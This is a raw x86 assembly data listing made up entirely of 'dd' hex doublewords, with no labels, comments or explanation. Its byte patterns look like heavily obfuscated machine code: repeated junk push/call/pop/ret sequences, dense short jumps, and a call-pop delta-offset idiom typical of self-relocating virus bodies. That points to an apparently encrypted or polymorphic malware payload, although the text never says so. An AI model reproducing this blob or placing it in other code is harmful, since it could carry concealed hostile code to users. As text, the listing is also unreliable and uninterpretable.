		dd 8D6C355h, 3D02C9CDh,	834h, 5B860Fh, 6A0000h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 325F54C3h, 0BEA830C4h, 604B687Dh, 6870Fh, 9D890000h
		dd 5E90FC1h, 2DE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0A4CE838Eh, 0ED925579h
		dd 8BC08BA7h, 0E91D45B5h, 0C38BFC05h, 0DBFD88Bh, 0C7519EB7h
		dd 0E901E585h, 44377905h, 50006A1Eh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 3DBE666Ch
		dd 6AC08BCEh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0C7FFC357h, 0FFA5479Ch, 89605F1Fh
		dd 0E922ED85h, 61F28B05h, 243DBD81h, 7D005E9h, 850F0000h
		dd 13h,	0C81B529h, 85FF05E9h, 5E9243Dh,	0B5DE81F8h, 0FF096127h
		dd 0E9243DB5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 60C9ABEFh, 0BD897688h
		dd 5E910DDh, 1E9595FFh,	6A05E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E39B6C3h, 0F3CFE7B4h
		dd 0FE013A5h, 787h, 1810F00h, 0F8000000h, 90F6B70Fh, 0E8F28B66h
		dd 5, 0A47804D5h, 42BF66F3h, 0FB8B5E30h, 3129B503h, 0BD8B05E9h
		dd 5E91F45h, 31FDBD8Bh,	0BD8B05E9h, 5E90E0Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 37C35545h, 6AA2A052h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 2639C355h, 6AA49053h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 942EC352h
		dd 283793h, 0FBCA79Ah, 0E88h, 9E900h, 0BE530000h, 4BE0D912h
		dd 0FB4C7A7h, 0B84h, 0CF816600h, 0B5298D7Eh, 5E91985h
		dd 2C1B58Bh, 0BD8B05E9h, 5E9077Dh, 2775BD01h, 6A05E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7D3620C3h, 0AB680778h, 81661680h, 51D05CC6h,	6810Fh
		dd 0BD890000h, 5E921E1h, 51006A5Fh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8D8977D0h, 5E91F3Dh, 92C1D0BEh
		dd 0F6E0E91Ah, 8BF9FFFFh, 0EBC18BF9h, 4, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 23220E7Fh, 66536C19h, 1DC9D781h, 5890F5Fh, 0BE000000h
		dd 259C049Dh, 21E5858Dh, 7E905E9h, 0C2000000h, 2DEF8D41h
		dd 0BE503018h, 4565F831h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8FA5C350h
		dd 0CF275AA8h, 0B58BFE33h, 5E91759h, 3129B52Bh,	6A05E9h
		dd 48C0Fh, 0BE660000h, 6A410Ch,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 2CC35343h, 3E8DD63Fh, 0FFC9858Dh
		dd 6A05ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0B7E1FEC3h, 66AA7107h, 83C61BBEh,	6A05C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 25AF04C3h, 0BA878C65h, 50905A07h, 5EF08B66h,	0CE950h
		dd 22AD0000h, 1CF4D400h, 90230BB3h, 0FC90D314h,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 24D225C3h, 22C68166h, 6A006AC6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0CB36C350h
		dd 0B45C3F72h, 0FF6BDCDh, 687h,	0F9850100h, 0FF05E903h
		dd 0E90AA195h, 68D0F05h, 89000000h, 0E92E4D85h,	0BF9D8D05h
		dd 6A05ECADh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0F2E4C350h, 89B19161h,	0E9123995h
		dd 51D3FF05h, 1CC7BE66h, 0C7CE815Eh, 0FF329BFEh, 0E9068985h
		dd 8515BF05h, 0DFE969D7h, 0E8000007h, 0
		dd 0D3ED815Dh, 8105ECFFh, 0E9243DBDh, 7D005h, 29860F00h
		dd 0F000001h, 68Ch, 59852900h, 8B05E911h, 0E900899Dh, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0E3818831h, 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 2BC35242h, 60EC430Ch,	0B58B6B95h, 5E90681h
		dd 850FDB0Bh, 6Bh, 0DA98531h, 0BD8305E9h, 5ECFE00h, 33840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0BE8FC351h, 0E8EF42B6h, 721A8292h
		dd 0E9F08B66h, 35h, 0FBD8D29h, 85C705E9h, 5ECFE00h, 1
		dd 2F15B523h, 1AE905E9h, 0E9000000h, 0Bh, 88B34B6Ch, 0D85EB253h
		dd 0C7269395h, 0ECFE0085h, 5, 899D8D00h, 6A05E900h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0B0AEC355h, 2381A784h, 0FFFFFEFFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 63C35545h, 8FBC7BF9h, 0F78B6659h
		dd 0FDB8C66h, 586h, 0F719BF00h,	0C3F61258h, 61840F04h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 669CC352h, 0BF09C1E7h,	7D58D00Ch
		dd 0BED95FFh, 8CBF05E9h, 906649B6h, 0FE8B6650h,	52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 3F60F617h, 5350A87Ah, 6559D31h, 5F5F05E9h, 400E9h, 0CFD68100h
		dd 0B03DF8BDh, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0D7A225DAh, 70E6C943h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 37C35747h
		dd 6A71E4C8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 9FC7C353h, 0E9FFD3E4h,	0Bh, 4B74AA05h
		dd 1321DFBBh, 0FB84EFCh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 4A6432C3h, 0FC3D5552h
		dd 8BB5ADF0h, 0E90D95BDh, 6BA05h, 81660000h, 8B02FBD7h
		dd 0FFB70FC3h, 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 3865C356h, 690E5444h
		dd 0C1B58BF5h, 6605E900h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0F508EEC3h, 0A75B47BFh
		dd 6AD82B68h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 35ABC352h, 1CD7A5EFh, 5E53B844h
		dd 0C8F0F93h, 0F000000h, 682h, 8F0F00h,	50000000h, 93F08B66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3AC35242h
		dd 66752E77h, 0CE68E781h, 243DB5FFh, 6A05E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0BDBBD1C3h
		dd 95FF2004h, 5E91E95h,	91F2D0BFh, 6A00B029h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0F1CAC350h, 81662241h, 0E662B8E6h, 31BD8B70h, 0E405E922h
		dd 57006A71h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0B1AE7ABDh, 830F613Ch, 20Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0CEC35343h, 620A9C9Ch
		dd 66B1526Eh, 0F5C02BFh, 6BAD8B6h, 8B000000h, 698509C3h
		dd 0C105E90Bh, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0FFCE8CC3h, 23B868CEh, 6F77BBBFh
		dd 0E2F7661Ah, 1805BD2Bh, 0D82B05E9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 27C35646h, 6328507Fh, 1CCE2B34h
		dd 0C9BD8B58h, 2B05E90Ah, 6E880FD8h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0C351C355h, 7B9D0h, 0BD890000h, 5E9017Dh, 5100C183h
		dd 5EF28B66h, 860FD93Bh, 135h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 62C35141h, 29B6C709h, 0E9C82480h
		dd 0Eh,	0C783FDD9h, 8E18AB40h, 0FDB1F5Bh, 8E92E51h, 65000000h
		dd 7CD7852Ah, 669C2863h, 0C1F6D98Ch, 0C3840F04h, 1000000h
		dd 0E927B1B5h, 0ED95FF05h, 6A05E90Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8702C356h
		dd 226DB529h, 830F05E9h, 15h, 0FE8h, 2A5C1500h,	0BB32D416h
		dd 0FC0C9604h, 72FE9AB1h, 52605B5Fh, 0B09C95BEh, 85895874h
		dd 5E90325h, 6AC32B61h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0F2A6C355h,	8343DBBh
		dd 860F0000h, 3Eh, 12E9h, 31164100h, 948D24A3h,	66CB7A88h
		dd 0E0EE02D4h, 0E90F4216h, 45h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 74C35141h, 0F6816688h, 0C08B62E4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 28C35747h
		dd 9DF798BEh, 8BC38B02h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0D919D6F3h, 0A9E86C1Dh
		dd 12820F63h, 0E8000000h, 0Ah, 2462D885h, 0F0421122h, 5F50C933h
		dd 68A0F5Eh, 8B000000h,	0E9220DB5h, 7985C705h, 9305E910h
		dd 6A5C1833h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0AED8C350h, 46D819E7h,	0BD33C08Bh
		dd 5E91859h, 243DBD81h,	7D005E9h, 850F0000h, 10h, 2BF8BE66h
		dd 243D85FFh, 9D0905E9h, 5E92BEDh, 243DB5FFh, 0B58B05E9h
		dd 5E90771h, 1E9595FFh,	0FE8B05E9h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8B987063h
		dd 0E91F21BDh, 45B58905h, 0F05E904h, 6AF6B7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 639380C3h
		dd 0BD8BB7B1h, 5E90591h, 0B780EE81h, 816678B9h,	6A1F45EEh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0CA8AC357h, 0CBF99356h, 2B818529h, 858905E9h
		dd 5E91FADh, 7E960h, 0F0870000h, 130CDBCEh, 0B5896039h
		dd 5E906ADh, 666178B2h,	0AC69DE81h, 0B1952961h,	8905E927h
		dd 0E92635B5h, 14E905h,	96C80000h, 0D9DF23E8h, 7BE11A6Bh
		dd 7A298084h, 32927872h, 9D8973B9h, 5E90091h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 0D988E77h
		dd 6E0A808Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	0B1C35646h, 96F2A397h, 59DFA3B2h, 0F869E939h, 6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8116C9C3h, 0A5C5F3D6h, 13E87Ch, 8EF50000h, 4891666Eh
		dd 5ACBDED9h, 1C9D9E58h, 65BDE20Ah, 75B523D4h, 3105E92Fh
		dd 0E9289D8Dh, 0C18B5E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 46C35747h, 0BCACD8CFh, 6860Fh
		dd 8D890000h, 5E924DDh,	3A9BD03h, 4EB05E9h, 0
		dd 3870Fh, 0BF0F0000h, 0E5858DFAh, 6A05E921h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0CA1CC357h, 0FF28B66h, 486h,	5ABE6600h, 0DDBD8B27h
		dd 5005E92Ah, 66240489h, 6AFB8Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 2C35242h, 7665A709h, 6A006A90h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0D22DC351h, 29839FFCh, 0B5296D2Bh, 5E90251h
		dd 99F858Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0B70B37C3h, 4A7AD181h, 896067E8h
		dd 0E90E8185h, 0D38B6605h, 5C08361h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 56C35040h, 14E890F9h, 22000000h
		dd 0ED18204Ah, 825DC465h, 0CD7AD2ABh, 0F1ADF433h, 6632ABA2h
		dd 5EFFCFBFh, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 6AB8C3h,	0ABC0FCBFh, 60006A0Fh
		dd 0B018D89h, 0FF6105E9h, 0E90AA195h, 68C0F05h,	89000000h
		dd 0E904C19Dh, 0BF9D8D05h, 6005ECADh, 17EBBB66h, 6E861h
		dd 0C6230000h, 95C29E97h, 0D3FF5EFCh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0C2C35646h,	518D890Ah, 6605E916h
		dd 0FFEC4BBEh, 0E9068985h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 30697E11h
		dd 0F183A7C7h, 0F2B70F38h, 83EE9h, 0E800h, 815D0000h, 0ED09A9EDh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0A29BFCEEh, 85BD89BDh, 8105E932h, 0E9243DBDh
		dd 7D005h, 10860F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 889FC357h, 0FE256E1Fh
		dd 0F3C6F7EBh, 8BF6B70Fh, 0E91EA19Dh, 0F5B58B05h, 8105E930h
		dd 100E3h, 858B6000h, 5E90BADh,	11719589h, 8B6105E9h, 0E927ADBDh
		dd 0FDB0B05h, 8E85h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0F18B66B9h, 7E3BD83h
		dd 0F0005EDh, 3184h, 7D8D0900h,	0E905E922h, 64h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FCC35141h, 81CDB06Dh
		dd 9EAA270Fh, 85C7FE8Bh, 5ED07E3h, 1, 0AE9h, 67981800h
		dd 1F71C222h, 0E9556791h, 20h, 7E8h, 29F4CF00h,	29982A66h
		dd 2B91BD8Bh, 0C75E05E9h, 0ED07E385h, 5, 0F6B70F00h, 1EA19D8Dh
		dd 0EE905E9h, 0E6000000h, 190201B8h, 94A6122Dh,	0DEDC176Bh
		dd 0FF238110h, 66FFFFFEh, 6ADB8Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0F6F97DC3h, 840F04C3h
		dd 91h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch
		dd 0C4C35545h, 0FE610904h, 1AFFBA0Fh, 7018589h,	816605E9h
		dd 0FF8BBACEh, 0E90BED95h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8B4B80D6h
		dd 0E930F5BDh, 0D2FDBE05h, 8B905A2Fh, 505150FAh, 0F616052h
		dd 5A616031h, 6A905E58h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0EE20C353h,	0BF92DF56h
		dd 45EE9CAh, 0BD090000h, 5E92659h, 0E95700B0h, 0Eh, 0E7B13378h
		dd 0AC2C6962h, 98037F50h, 0E65FD268h, 52006A70h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 9BBE669Ah, 8971E430h, 0E93295B5h, 0D8B60F05h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D1C35646h, 0ED889D72h
		dd 5D870515h, 6BA53h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 927C58C3h, 17F7426Eh
		dd 0FA8B6660h, 0D71B58Bh, 8B6105E9h, 53006AC3h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 6E7DA442h
		dd 2AEE6CDBh, 8D89DCD0h, 5E91F0Dh, 6A04E8C1h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 2FF8C355h, 7830F498h, 95BE04C0h, 6628E136h, 2BFCE2F7h
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 42FEEAF6h, 0E7FF7DE7h, 25B5B589h, 0F08B05E9h
		dd 8B665193h, 0E8505FF8h, 11h, 3ADDD55Bh, 0F1E07FF7h, 5FB5111Fh
		dd 0B4BCD2EDh, 0AE86Dh,	33250000h, 0AE0B70ECh, 97202FF0h
		dd 850Fh, 5F5E0000h, 50006A93h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 7FCA4D32h, 0E9B58BDDh
		dd 0FF05E90Bh, 0E9243DB5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FF217918h
		dd 0E91E9595h, 0F38B6605h, 37A7BF66h, 0BF6600B0h, 70E6A16Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EEC35747h
		dd 0D03FD611h, 0CE8565Bh, 0AD000000h, 0AEB4A762h, 79BC2D8Bh
		dd 5F5ED17Dh, 1BD035Fh,	0E405E917h, 11E971h, 4250000h
		dd 2189D248h, 0C2A0B295h, 0B74C4677h, 3C3AA788h, 45830F61h
		dd 6A000002h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D4D8C351h, 6800F60h, 89000000h
		dd 0E908F5B5h, 0BF665105h, 615BF9CFh, 0BFD8B60Fh, 36092D99h
		dd 6BAh, 60C38B00h, 12A98D89h, 8D0B05E9h, 5E91601h, 4E8C161h
		dd 0E8FE8B66h, 8, 0AFD31490h, 0D6E77FAh, 2A918D29h, 665F05E9h
		dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 98AA4C3h,	0D7F8FBBFh, 28B0F79h, 52000000h
		dd 0FD82B5Eh, 8Ah, 6A5800h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0B4662BC3h, 0BE66CB9Fh
		dd 0D82BEC87h, 17A880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 79B86EC3h, 0BF660381h
		dd 8589B143h, 5E901EDh,	7B9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C542E470h
		dd 1DCCA2D8h, 0C183CA61h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 802C9DAEh
		dd 3BAC6CC1h, 0F9860FD9h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 65B4C350h
		dd 33AECC65h, 66B16D2Fh, 0E960D98Ch, 13h, 0C86F19A4h, 73FD89E6h
		dd 9C5ECE1Dh, 9899854Ch, 577D702Eh, 59D38B66h, 0FBF6661h
		dd 4C1F659h, 84840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 1113C4C3h, 0D2D293C1h
		dd 0F8B70FFBh, 0BED95FFh, 0E95B05E9h, 0Ch, 0A3692372h
		dd 8F5385Ch, 35BA4D22h,	6656C32Bh, 3D5EF88Bh, 834h, 34860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 624131C3h, 95892333h, 5E92A6Dh, 0E9F6B70Fh
		dd 28h,	0B5B8CF81h, 0C08B4BA1h,	14E8h, 38156E00h, 71E4B594h
		dd 0E95F1169h, 0BB5192D1h, 19F1723Dh, 6AE781F2h, 5F52B7FDh
		dd 0D88BC38Bh, 8985C7F9h, 3305E900h, 0E971FE9Dh, 14h, 0AF6D5582h
		dd 0BBE40734h, 91B6FFC6h, 437AD038h, 392AA182h,	0BD8BC08Bh
		dd 5E91E75h, 455B50Bh, 0BD8105E9h, 5E9243Dh, 7D0h, 2D850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8157A4C3h, 0F17E9FF6h, 85FF5F1Ch,	5E9243Dh
		dd 0FFF08B66h, 0E9243DB5h, 0F2BF0F05h, 1E9595FFh, 6A05E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 5802E6C3h, 68C0FF6h,	8B000000h, 0E92EFDBDh, 33DF8105h
		dd 9078FF1Ch, 5810Fh, 27BF0000h, 6A186ACDh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 898EC355h
		dd 19CBF3D5h, 12E904h, 0ED020000h, 432C4657h, 44D0624Ch
		dd 5074392Ch, 0DFE7C477h, 0D41BD8Bh, 0D68105E9h, 21C8B76Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0FC35040h
		dd 8157D5F5h, 474F9AEFh, 0F1BD8B0Bh, 6A05E92Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 6320C353h, 0FB8B19ACh, 68D0Fh, 0B58B0000h, 5E92A01h
		dd 0E29CBF66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	17C35343h, 6D4AA1A2h, 0F8BF0F1Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 38C35747h, 0F5A4FA2Ah
		dd 68F0FDCh, 8B000000h,	0E92841B5h, 0B5895205h,	5E91841h
		dd 0F7D3E95Fh, 0CE9FFFFh, 21000000h, 9D9627CBh,	0E00B3284h
		dd 8B90188Dh, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8957B599h, 0E90D01BDh, 4EB05h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0A340C352h, 0DE9h, 0A469AA00h, 0D7E55712h
		dd 334BEC5Ch, 6ADBBAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 4B9916C3h, 56B3996Eh, 8D9CE40Ah
		dd 0E921E585h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6810F97h, 1000000h, 0E9103D95h
		dd 0D8D2905h, 9005E908h, 8850Fh, 8A600000h, 0B5BA66D8h
		dd 6650614Bh, 908003BEh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 23C35343h, 1231B7BBh,	0C0219A82h, 0E1DCEE81h
		dd 6A7679h, 0E8B96660h,	5E50BF21h, 6A615222h, 81B58B00h
		dd 8D05E927h, 0ED13E485h, 0ED9D8905h, 8305E92Bh, 6A05C0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0CB2963C3h, 0FE8552Fh, 687h,	0B9BD8B00h, 5005E912h
		dd 89F78B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 5E19D5C3h, 6ADB8D75h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0BFD2CC49h, 11AAB9B9h, 0F98589h, 0BF0F05E9h,	81006AF8h
		dd 0BB7CAEDFh, 0A195FF56h, 8905E90Ah, 0E924458Dh, 8D852905h
		dd 8D05E90Fh, 0ECADBF9Dh, 7E905h, 3420000h, 0D57516ADh
		dd 0BD3FFD7h, 0E91F95BDh, 8985FF05h, 6A05E906h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 8A41C357h, 0E7D8529h, 0B58B05E9h, 5E91205h, 59C01ABFh
		dd 780E942h, 0E80000h, 5D000000h, 13EEED81h, 800F05EDh
		dd 0
		dd 243DBD81h, 7D005E9h,	860F0000h, 11Fh, 1145BD03h, 0B6005E9h
		dd 0E90701B5h, 0D7816605h, 8B618E8Eh, 0E91E199Dh, 0DE816605h
		dd 0BD8B19B4h, 5E91145h, 100E381h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9DFC98C3h
		dd 0D58D8922h, 0B05E90Dh, 4D850FDBh, 89000000h,	0E92CFDBDh
		dd 0ABD8305h, 5ED12h, 1E840Fh, 9E80000h, 26000000h, 0DCB17F0h
		dd 9A75ADB0h, 0A871BE66h, 68E95Eh, 8D890000h, 5E91921h
		dd 120A85C7h, 105EDh, 0F7810000h, 1CA42B38h, 4CE9FCh, 0BD8B0000h
		dd 5E922C9h, 120A85C7h,	5EDh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 2FDB7FC3h
		dd 912617A5h, 0BF667188h, 0FE8B9D77h, 0DE9h, 9789F000h
		dd 7E837EEBh, 0E7F977EBh, 9D8D67BAh, 5E91E19h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 25C35545h, 8D29B818h
		dd 5E919CDh, 0FEFF2381h, 8166FFFFh, 66CDC4C6h, 6ADB8Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B5A585C3h, 0F56028Bh, 687h,	59858900h, 5E05E90Eh, 0F04C3F6h
		dd 0A684h, 10E900h, 161D0000h, 94D460E5h, 6EB782B1h, 0B742AE4Dh
		dd 95FFE4AEh, 5E90BEDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0DEC35141h, 1E7549A9h, 95B58902h, 5005E90Eh
		dd 10E96056h, 0BC000000h, 80A8556Fh, 8CEAEC6Dh,	65564482h
		dd 0E885DFFFh, 14h, 927C437h, 747780D2h, 46F2F346h, 0ABD5B1D1h
		dd 70706B1Fh, 895E615Ah, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 8A65F3C3h, 3A1B12E0h
		dd 0ABBF6605h, 7DBD8B91h, 0E905E92Bh, 37Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5DC35242h, 0D3FF49E3h
		dd 0FC68768h, 8Bh, 6A00B000h, 3E85200h,	20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 1B0AC352h, 0A195F6B2h
		dd 0FECFBC3Bh, 13E9h, 0AB9AAC00h, 61FF270Ah, 6429B214h
		dd 0DC8BEFFBh, 2A963A72h, 7B5BD33h, 70E605E9h, 11E971E4h
		dd 5D000000h, 752E773Ah, 7A31ADDh, 0FDA90AEDh, 97D4D153h
		dd 6AD8B60Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0F8FC353h, 88h, 6BA00h, 0BF660000h
		dd 0C38B34EEh, 0E8C1FE8Bh, 0FDB58B04h, 6605E90Fh, 6AE2F7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0BA0341C3h, 0A9CFBF66h, 6AD82Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 500148C3h
		dd 0EE9h, 0AB203300h, 0C9E88CB8h, 55832B97h, 898C11E4h
		dd 0FFFC241Ch, 0E9243DB5h, 0F0B70F05h, 1E9595FFh, 0BD8B05E9h
		dd 5E91989h, 0BD8B00B0h, 5E90601h, 8B6670E6h, 0E971E4FBh
		dd 12h,	816F695h, 32DB08Dh, 0D7C2C046h,	0DCA9CBE3h, 0BE9CF28h
		dd 66000000h, 2C8E2309h, 4061F34Bh, 613CDEC5h, 20A830Fh
